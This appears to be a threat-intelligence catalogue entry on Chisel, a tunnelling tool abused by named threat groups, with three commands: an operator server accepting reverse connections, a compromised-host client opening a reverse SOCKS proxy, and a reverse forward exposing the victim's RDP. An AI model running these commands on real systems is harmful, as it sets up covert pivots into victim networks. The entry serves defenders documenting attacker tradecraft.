.. /Chisel
Star

Access

Chisel is a self-hosted, fast TCP/UDP tunnel transported over HTTP and secured via SSH, bundled in a single executable that acts as both client and server. Because the server is operator-run, there is no vendor domain to block. It is heavily abused for pivoting, SOCKS proxying and port forwarding, observed with Sandworm/APT44, Seedworm, PYSA (ChaChi) and Mespinoza, among many others.

Paths:

Resources:

Detections:

Access

  1. Starts the operator-controlled Chisel server, listening for clients and permitting reverse port forwards initiated from compromised hosts.

    chisel server -p 8080 --reverse
    Use case
    Standing up the tunnel endpoint that compromised hosts connect back to.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Connects a compromised host back to the Chisel server and opens a reverse SOCKS proxy, giving the operator SOCKS access into the victim network.

    chisel client <SERVER>:8080 R:socks
    Use case
    Establishing a SOCKS pivot into an internal network.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. Reverse-forwards a public port on the Chisel server to a local service such as RDP on the compromised host, exposing it to the operator.

    chisel client <SERVER>:8080 R:3389:127.0.0.1:3389
    Use case
    Reaching an internal service such as RDP through the tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS